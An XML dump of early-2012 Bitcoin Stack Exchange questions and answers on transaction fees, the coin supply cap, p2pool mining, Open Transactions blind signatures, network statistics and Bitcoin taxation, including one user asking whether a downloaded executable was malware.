  <row Id="2754" PostTypeId="1" AcceptedAnswerId="2762" CreationDate="2012-01-26T17:30:18.407" Score="5" ViewCount="1135" Body="&lt;p&gt;How high are transaction fees for &quot;sendmany&quot;?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it correct that using &quot;sendmany&quot; i can send Bitcoins to multiple addresses but only have to pay the transaction fee once?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="2306" LastEditDate="2013-04-01T08:38:33.077" LastActivityDate="2013-04-01T08:38:33.077" Title="Sendmany transaction fees" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2755" PostTypeId="2" ParentId="2752" CreationDate="2012-01-26T17:57:30.820" Score="5" Body="&lt;p&gt;Time investment is not to be discounted so lightly. In addition to that, inertia and lack of awareness probably have a role. There's also the need for extra computer resources (ram mostly) to run the bitcoind and p2pool daemons. There's a bit of a higher variance as well, since the pool is relatively small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do have some spare ram, and a bit of time, it certainly is a good idea to reduce hash power centralization.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-01-26T17:57:30.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2756" PostTypeId="1" AcceptedAnswerId="2757" CreationDate="2012-01-26T18:06:41.823" Score="12" ViewCount="3478" Body="&lt;p&gt;Just to check what would take for that limit to be changed. (not that I want to be changed, quite the opposite). I know the total number of bitcoin reward is halved every 4 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does the verifying nodes check if the number of rewarded bitcoins match the distribution schedule?&lt;/p&gt;&#xA;" OwnerUserId="243" LastEditorUserId="5406" LastEditDate="2014-03-25T22:57:40.647" LastActivityDate="2022-07-11T18:10:22.653" Title="How is the bitcoin 21 million cap implemented?" Tags="|protocol|reward-schedule|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2757" PostTypeId="2" ParentId="2756" CreationDate="2012-01-26T18:31:00.250" Score="10" Body="&lt;p&gt;Every node in the Bitcoin network checks every block it receives and validates any transactions in it. As coin generation is a transaction that is included in the block, it is also checked. Same as a node would not accept a transaction that does not balance its inputs and outputs (for example, by spending more coins than it has), neither would it accept a block reward different, than the one that is scheduled to occur (50 coins currently, half of that for some number of blocks, and then other fractions of that amount). The nodes know what rewards to expect based on the block number, as it is set to half based on that number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change it you would have to (convince people to) change all the clients, exactly like any other protocol change.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-02-13T14:05:24.407" LastActivityDate="2012-02-13T14:05:24.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2758" PostTypeId="2" ParentId="2752" CreationDate="2012-01-26T19:25:40.463" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Variance. Raw connection to p2pool will always have variance for a typical miner - if the pool is small there will be large pool-based variance, if it is large the share difficulty will be high and there will be large share-based variance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Running a Bitcoin node is already nontrivial and going forward will become impossible for at-home miners. For example, some mining rigs run on a cheap USB flash drive, which may soon become insufficient to hold the blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Normal mining pools have additional features such as worker monitoring, SMS notifications, automatic conversion of NMC to BTC and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some of p2pool's suggested advantages are a bit exaggerated. The recent P2SH woes are a non-issue since miners who want to vote can simply go to a pool that votes as they want. The more generic concentration of power problem can alternatively be solved with smart miners (miners who generate blocks themselves or from an independent party, and submit shares with Merkle branches of the generation transaction which are accepted if it credits the pool).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Because of these reasons, I believe the future will be small PPS pools which act as a proxy to p2pool (with or without the use of independent block-issuing nodes). These will have low fees, no variance, as many features as the pool operator wants to implement, and will not be highly centralized. Until we see more of these I don't think there's much justification for p2pool going mainstream.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-26T19:25:40.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2759" PostTypeId="2" ParentId="2728" CreationDate="2012-01-26T19:48:00.537" Score="2" Body="&lt;p&gt;I went ahead and deleted the file. There don't seem to be any side effects.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-26T19:48:00.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2760" PostTypeId="2" ParentId="2740" CreationDate="2012-01-26T19:54:15.470" Score="1" Body="&lt;p&gt;The project is essentially in a beta phase. People who run the Bitcoin client now are typically the highly technical early adopters who will build the next layer of software and services on top of the basic Bitcoin protocol. Those services (exchanges, banks, payment gateways, thin clients, trust networks, laundromats, ...) are what ordinary end-users will adopt en masse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I believe the answer is no: the Satoshi Bitcoin client will never come with the blockchain included, simply because the target audience are not the kind of end-users that find a large initial download a problem.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-26T19:54:15.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2761" PostTypeId="1" CreationDate="2012-01-26T21:56:18.983" Score="3" ViewCount="1500" Body="&lt;p&gt;Specifically, how can I tell whether I'm finding any shares? It's not clear from the extensive log output. The relevant line seems to be...:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pool stales: 12% Own: 50±48% Own efficiency: 57±54%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... after about an hour of mining. I'm using poclbm as the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My hashrate is a mere 30MH/s; I'm just trialling the software until I get a payout - of any size).&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-03-10T18:38:39.060" Title="How do I monitor the performance of my P2Pool instance?" Tags="|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2762" PostTypeId="2" ParentId="2754" CreationDate="2012-01-26T22:02:47.133" Score="4" Body="&lt;p&gt;The transaction fee is based on the size of the transaction (in bytes), among other factors. Each output adds some length to the transaction, so more destinations will mean a higher fee. With the current transaction fee schedule, roughly every five destinations adds an additional .0005 BTC to the standard fee.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-26T22:02:47.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2763" PostTypeId="1" AcceptedAnswerId="2771" CreationDate="2012-01-26T23:25:31.723" Score="3" ViewCount="937" Body="&lt;p&gt;I'm guessing the answer is no, but I thought I'd ask anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running my miner off a USB pen at the moment and I'd like to run P2Pool but the main issue for me is there wouldn't be enough space left on the USB pen to store the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can run P2Pool without having the blockchain stored locally?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-04-17T20:10:53.383" LastActivityDate="2016-04-17T20:10:53.383" Title="Can you run P2Pool without having to keep the blockchain updated?" Tags="|blockchain|p2pool|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2764" PostTypeId="1" CreationDate="2012-01-26T23:49:37.540" Score="4" ViewCount="259" Body="&lt;p&gt;A Bitcoin client connects to peers and can accept connections from peers.  Is it possible to learn how many nodes exist from a specific IP address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the monitoring service from RowIT ( &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstatus.rowit.co.uk&lt;/a&gt; ) gives a metric &quot;Total Hosts&quot;, but I suspect that if there was more than one host from an IP address, the second and successive hosts would not be counted in the total.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="3120" LastEditDate="2013-11-23T18:57:04.680" LastActivityDate="2013-11-23T18:57:04.680" Title="How can the number of peers from the same IP address be counted?" Tags="|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2765" PostTypeId="1" AcceptedAnswerId="2773" CreationDate="2012-01-27T00:24:29.590" Score="4" ViewCount="436" Body="&lt;p&gt;I really do not know what kind of metrics are available for measuring the size of the Bitcoin community, but I am interested in any metrics indicating how many users of Bitcoins that there are. Some example metrics could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of registered users on forums&lt;/li&gt;&#xA;&lt;li&gt;Number of wallets&lt;/li&gt;&#xA;&lt;li&gt;Number of wallets with bitcoins in them&lt;/li&gt;&#xA;&lt;li&gt;Number of non-mining clients running&lt;/li&gt;&#xA;&lt;li&gt;Number of installations of default client&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would be excellent to see these numbers in relation to some numbers, like the size of the BitTorrent community (or maybe the old Napster community) or whatever, to get a better understanding of the number, but this is not necessary.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2012-01-27T00:45:17.683" LastActivityDate="2012-01-27T10:23:24.330" Title="How big is the bitcoin community 1st of Feb. 2012?" Tags="|community|adoption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2766" PostTypeId="2" ParentId="2756" CreationDate="2012-01-27T00:47:16.913" Score="5" Body="&lt;p&gt;The software in the bitcoin client verifies that each transaction follows the algorithm that is part of the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now even if the developers of the client were to somehow conclude that increasing the limit was a good idea and were to then push that client out for distribution, those holding bitcoins would likely not accept the new client.  There would then be a fork in the blockchain as the limit increase would devalue the currency already issued and therefore it would be rational to those holding bitcoins already would protect the value of their currency by not accepting transactions from the new fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to change the limit you not only need to get the developers to make the changes that fork the blockchain but also you need to get exchanges and merchants to accept transactions using the fork -- something that, in this case, is irrational.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2012-01-27T00:47:16.913" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2767" PostTypeId="2" ParentId="2734" CreationDate="2012-01-27T02:16:44.337" Score="6" Body="&lt;p&gt;If the key pool is empty and the wallet is locked it will use an old key instead of generating a new key. When wallet encryption was implemented the block creation code was changed to make sure different coinbase transactions are generated in that case.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-27T02:16:44.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2768" PostTypeId="2" ParentId="2751" CreationDate="2012-01-27T02:23:29.567" Score="1" Body="&lt;p&gt;Requiring everybody to upgrade is just not realistic for such a small feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And clients must already rely on miners to fully validate transactions, because it is always possible a transaction they think is valid is actually half of a double-spend. Never accept 0- or 1-confirmation transactions unless they are from somebody you can trust.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-27T02:23:29.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2769" PostTypeId="2" ParentId="2687" CreationDate="2012-01-27T02:29:05.797" Score="5" Body="&lt;p&gt;None of them are safe to access while bitcoind is running.  The only one that is critical to backup is wallet.dat, and the backupwallet rpc command will do that safely while bitcoind is running.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-27T02:29:05.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2770" PostTypeId="2" ParentId="2660" CreationDate="2012-01-27T03:14:42.463" Score="2" Body="&lt;p&gt;No, it is not planned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest writing some JSON-RPC proxy code that takes RPC commands, checks to see if they're safe (or checks to see what password was given), and if they are authorized forwards them to bitcoind and passes through the result.  There is a lot of good Python code for json rpc clients and servers, although JSON-RPC is a simple enough protocol it shouldn't be hard to create a proxy in any language.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-27T03:14:42.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2771" PostTypeId="2" ParentId="2763" CreationDate="2012-01-27T07:35:36.510" Score="3" Body="&lt;p&gt;You could run the Bitcoin client on a separate machine, and connect to it over the network.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-27T07:35:36.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2772" PostTypeId="1" AcceptedAnswerId="2782" CreationDate="2012-01-27T10:02:21.457" Score="7" ViewCount="1890" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot;&gt;OT&lt;/a&gt; is based on &lt;a href=&quot;http://www.cs.bham.ac.uk/~mdr/teaching/modules06/netsec/lectures/DigitalCash.html&quot;&gt;digital cash&lt;/a&gt;. From the article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To tackle the double spending problem, the payee has to verify the&#xA;  coin with the bank at the point of sale in each of the transactions.&#xA;  This verification of the legitimacy of the coin requires extra&#xA;  bandwidth and is a potential bottleneck of the system especially when&#xA;  the traffic is high. The real time verification also means there is a&#xA;  need for the synchronization between bank servers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not clear to me. Does the bank know who owns each coin? What exactly does the bank verify? If I try to send the same coin to both Alice and Bob, where exactly would this fail? What knowledge do any of the parties (Alice, Bob, the Bank) gain during this transaction?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2017-03-11T01:33:28.217" Title="How does Open Transactions solve the double spend problem?" Tags="|doublespend|open-transactions|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2773" PostTypeId="2" ParentId="2765" CreationDate="2012-01-27T10:23:24.330" Score="3" Body="&lt;p&gt;Have a look at:&#xA;&lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstatus.rowit.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nibor on the bitcoinj mailing list has created a whole series of charts about the bitcoin p2p network. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-01-27T10:23:24.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2774" PostTypeId="2" ParentId="2761" CreationDate="2012-01-27T11:21:14.843" Score="2" Body="&lt;p&gt;p2pool has a higher difficulty, so you won't be submitting many shares, with 30MH/s you will have a greater variance.  p2pool is not the perfect solution for those of us with a low hashrate unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The p2pool tells you how many shares you submitted but it's in the lines above the one you pasted, look for where it says Shares: 3 (2 orphan, 0 dead)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also compare the Pool stales to your own stales.  To have a reliable number, keep p2pool open for at least 24h, but the numbers should be almost the same.  If your own stales percentage is higher than the pool's, you are earning less than you should.  If it is below, you are earning more than you should.&lt;/p&gt;&#xA;" OwnerUserId="990" LastEditorUserId="22" LastEditDate="2013-03-10T18:38:39.060" LastActivityDate="2013-03-10T18:38:39.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2775" PostTypeId="2" ParentId="2293" CreationDate="2012-01-27T12:31:10.260" Score="1" Body="&lt;p&gt;I know &lt;a href=&quot;https://metabank.ru/buy&quot; rel=&quot;nofollow&quot;&gt;https://metabank.ru/buy&lt;/a&gt;, a Russian exchange service with a good reputation (tracked on various bitcoin-forums).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There, one can&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;buy bitcoins for &lt;a href=&quot;http://qiwi.ru&quot; rel=&quot;nofollow&quot;&gt;qiwi&lt;/a&gt;, a Russian payment system (where your account is identified with your mobile telephone number, and you can choose to confirm your payments through your mobile phone), &lt;/li&gt;&#xA;&lt;li&gt;and one can &lt;a href=&quot;https://w.qiwi.ru/features.action&quot; rel=&quot;nofollow&quot;&gt;pay in qiwi&lt;/a&gt; with a VISA/MasterCard (you have to register your card as a payment method beforehand, and validate that you own the card by providing to qiwi the information about a random small amount that has been blocked on your card by qiwi for a short period of time).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Qiwi charges 0.75% for payments with a card, and Metabank charges 4% commission for such an exchange (the exchange rate is the current price at MtGox).&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2012-01-27T12:31:10.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2776" PostTypeId="1" AcceptedAnswerId="2777" CreationDate="2012-01-27T19:35:24.183" Score="5" ViewCount="735" Body="&lt;p&gt;Consider the following graph: &lt;img src=&quot;https://i.stack.imgur.com/nRdNd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This chart shows the total number of hosts on the network that were connected in the previous 24 hour period. We collect this by listening to Address messages that are broadcast over the network and I got it from &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinstatus.rowit.co.uk&lt;/a&gt;. This graph and a number of other graphs on that site show significant reduction in the number of hosts on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that the Bitcoin network is slowly closing down? I can see that the graph seems to be quite level at the end, but the trend seems to be downwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you jim618 for providing me with the link in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2773/6&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-11-23T18:57:27.010" Title="Is the Bitcoin network slowly closing down?" Tags="|network|adoption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2777" PostTypeId="2" ParentId="2776" CreationDate="2012-01-27T20:35:21.120" Score="3" Body="&lt;p&gt;It could be that this host specifically is getting less connections, although that might not be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been a similar drop in hashing power and stock price. The most likely cause of this is the lack of press-attention and a low amount of things you can do with Bitcoins. Another possible explanation is the increased usage of online-wallets reducing the need for locally running clients and therefore the total number of hosts connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, no need to worry about the Bitcoin network closing down. In fact it seems to be about to grow faster again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some backing for my claims is here:&#xA;&lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.sipa.be/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's hard to say anything from these charts&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-27T20:35:21.120" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2778" PostTypeId="1" AcceptedAnswerId="2780" CreationDate="2012-01-27T22:05:52.320" Score="6" ViewCount="863" Body="&lt;p&gt;So there is this webpage being advertised: &lt;a href=&quot;http://allseeingbiteye.tk/&quot;&gt;http://allseeingbiteye.tk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the way it is advertised is: You can be tracked! Be careful of what you pay for. Bitcoin is as insecure and non-anonymous as a public toilet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously i got interested in it and ran the application, without administrative rights ofcourse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With my security options, applications sometimes simply does not start until they are given administrative privileges...as soon as i ran that exe i realised that this could very well be sopfisticated scam to steal my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So anyone have any information about that site?&lt;/p&gt;&#xA;" OwnerUserId="991" LastActivityDate="2012-01-28T13:46:30.650" Title="Bitcoin Explorer - Truth or did i just got my wallet stolen?" Tags="|wallet|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2779" PostTypeId="2" ParentId="2647" CreationDate="2012-01-27T23:43:42.827" Score="3" Body="&lt;p&gt;Clicking &quot;generate new address&quot; takes a time, because after returning one fresh address form the pregenerated pool, an actual new one is generated to refill the pool with.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-01-27T23:43:42.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2780" PostTypeId="2" ParentId="2778" CreationDate="2012-01-28T04:28:36.243" Score="8" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=61491.msg718150#msg718150&quot;&gt;a post by grue&lt;/a&gt;, the program from the website adds another executable to system startup, so it certainly behaves like a virus. You should get your computer checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advise for the future - don't trust any .exe file unless you know the source or the owner. If you're not sure whether to trust someone or some website, ask either here, or on the forum. The community is quite sensitive about security and you can be pretty sure to get some good feedback if you ask.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2012-01-28T13:46:30.650" LastActivityDate="2012-01-28T13:46:30.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2781" PostTypeId="2" ParentId="2713" CreationDate="2012-01-28T09:32:20.410" Score="2" Body="&lt;p&gt;Whenever you perform a transaction on OT, you must submit the signed transaction. After the server verifies your signed transaction, which includes your current balance, the server countersigns it, and this becomes your receipt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is unable to forge your balance, and unable to forge any transactions, because the server is unable to forge your signature on the receipt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This &quot;last signed receipt&quot; actually constitutes your account. Your &quot;account&quot; is nothing more than the last receipt itself, signed by both you and the OT server, agreeing to a certain balance.)&lt;/p&gt;&#xA;" OwnerUserId="309" LastActivityDate="2012-01-28T09:32:20.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2782" PostTypeId="2" ParentId="2772" CreationDate="2012-01-28T09:49:09.267" Score="4" Body="&lt;p&gt;When I withdraw 10 clams, my client software generates a random ID:  lkjsdfoiu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then chooses a random blinding factor, which it keeps secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then blinds the random ID using the blinding factor along with the server's 10-clam public minting key, producing (say): 897345jh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This random, and now blinded, ID is then sent to the OT server along with my withdrawal request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the server verifies that it has successfully withdrawn 10 clams from my account, it uses its 10-clam private minting key to sign the blinded ID:  897345jh SIGNED: Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server returns this to me. My client unblinds it using its secret blinding factor along with the server's 10-clam public minting key:  lkjsdfoiu SIGNED: Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you ask, &quot;Ah-ha-ha, but how can the server's signature still verify, when the ID has changed from 897345jh back to lkjsdfoiu again?&quot; (since it was unblinded) ==&gt; The answer is, that is the whole point of blind signatures. They still work, even after they are unblinded. That is the whole magic of digital cash. (I encourage you to Google &quot;homomorphic encryption&quot; to learn more about the applications for this concept.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point:&#xA;1. My client now has a random ID with a valid server signature on it.&#xA;2. The server has no idea what that ID is, since the ID was blinded when it was signed.&#xA;3. Therefore &lt;em&gt;I&lt;/em&gt; and &lt;em&gt;I alone&lt;/em&gt; am the only person who knows that ID.&#xA;4. When I give the token to Bob who redeems it at the server, the server can see that the token is good (since it has a valid signature.) The server also knows that it's worth 10 clams, since only the 10-clam public key can verify that signature. But the server has no idea where it came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the server redeems the token for Bob, it records the token's ID (lkjsdfoiu) in a spent token database. This way, if the token is ever redeemed twice, the server can see that it is no good, because it has already been used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT expires and rotates cash tokens and mints, in order to allow the server operator to erase its spent token database every few months. Otherwise, the server operator would be forced to store a growing database forever, which is not feasible for a server operator.&lt;/p&gt;&#xA;" OwnerUserId="309" LastEditorUserId="309" LastEditDate="2012-02-02T00:38:41.313" LastActivityDate="2012-02-02T00:38:41.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2783" PostTypeId="1" CreationDate="2012-01-28T11:52:20.577" Score="15" ViewCount="5476" Body="&lt;p&gt;&lt;strong&gt;Disclaimer: this is not legal advice, and this varies from country to country.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you accept bitcoins as payment, do you have to pay taxes on that? And would you have to write an invoice? Since they are not an official currency, such a trade would be considered a barter or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. what's the legal status of someone accepting bitcoins as payment, and what is him required to do?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="770" LastEditDate="2012-01-28T13:47:17.013" LastActivityDate="2017-11-22T03:51:44.783" Title="Do you have to pay taxes on Bitcoin revenues?" Tags="|legal|taxes|" AnswerCount="5" CommentCount="3" ClosedDate="2017-11-22T18:07:29.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="2784" PostTypeId="2" ParentId="2783" CreationDate="2012-01-28T12:13:36.013" Score="9" Body="&lt;p&gt;In Denmark (Europe) I have looked into this with a friend of mine, and we came to this conclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, you will have to pay tax and do an invoice &lt;strong&gt;regardless of the currency&lt;/strong&gt;. It is trade taking place within Danish borders, and therefor tax applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, these are rather old laws, and not very well updated. For example, a trade between two Danes going through a PayPal service, should technically be treated as a foreign trade, since the payment leaves Danish borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But modern day lawyers have no need to go after this, and as far as I can tell, no one have ever been &quot;caught in trouble&quot; with the legislation like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A interesting ruling was that the Danish tax authority once started creating accounts inside the game Second Life, and demanded tax cuts on the currency, even though it was &quot;fictitious&quot; and digital...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, they did not have much success with this.&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2012-01-28T12:13:36.013" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2785" PostTypeId="2" ParentId="2783" CreationDate="2012-01-28T16:36:00.487" Score="3" Body="&lt;p&gt;This applies to the UK and is not advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion is that Bitcoin is not recognized as a currency, but may be recognized as an asset with a non-zero value. So you should pay the kind of taxes associated with assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: you buy BTC with GBP, the value of the BTC increases, and you sell it for GBP, making a profit. You pay capital gains tax on the profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: your employer pays you in BTC. This is a benefit-in-kind and you pay income tax on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: somebody gives you BTC. You may pay inheritance tax on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: you sell goods or services for BTC. This is bartering. You pay income tax on the fair market value of the asset received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck to HMRC collecting though...&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-28T16:36:00.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2786" PostTypeId="1" CreationDate="2012-01-28T21:31:50.250" Score="3" ViewCount="1095" Body="&lt;p&gt;Open-org.com is building &lt;a href=&quot;http://www.open-org.com/paid-qa-site&quot; rel=&quot;nofollow&quot;&gt;an online service&lt;/a&gt;, which will have income coming from VISA cards, and will pay expenses in Bitcoins. We expect to make something like 100 transactions per day from credit cards to Bitcoins. I would like to know what the cheapest service would be for doing this fully automatically. What I mean is the cheapest service or combination of services with APIs so we can automate the whole process. I am particularly concerned with complexity (and delays) if we would need to transfer the money from the provider, which enables us to accept VISA payments, to my bank account. Then send the money to MtGox, get it exchanged and then get the Bitcoins sent off. The steps involved just in the last part, Bank Account to Bitcoins, would be quite work intensive if done on a daily basis. It would involve the following steps: 1) Access internet bank and transfer to exchange (5 minutes). 2) Access exchange and transfer and create several buy orders over some period of time to get a good price (5 minutes to 30 minutes). 3) Transfer Bitcoins to 100+ recipients (5 minutes to 30 minutes depending on interface). 4) Make accounting of transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw. this is not a &quot;buy bitcoins&quot; service, so I do not believe I will get in the kind of trouble that &quot;buy bitcoins&quot; services got into with regards to fraud. Anyways, that is a different question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention, that I am not interested in services that take something like 5% for doing these things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service should accept international VISA cards.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2012-04-01T20:06:24.417" LastActivityDate="2012-04-05T11:47:03.433" Title="Automating service with income from VISA and expenses in Bitcoins" Tags="|exchanges|services|visa|api|buy-bitcoins|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
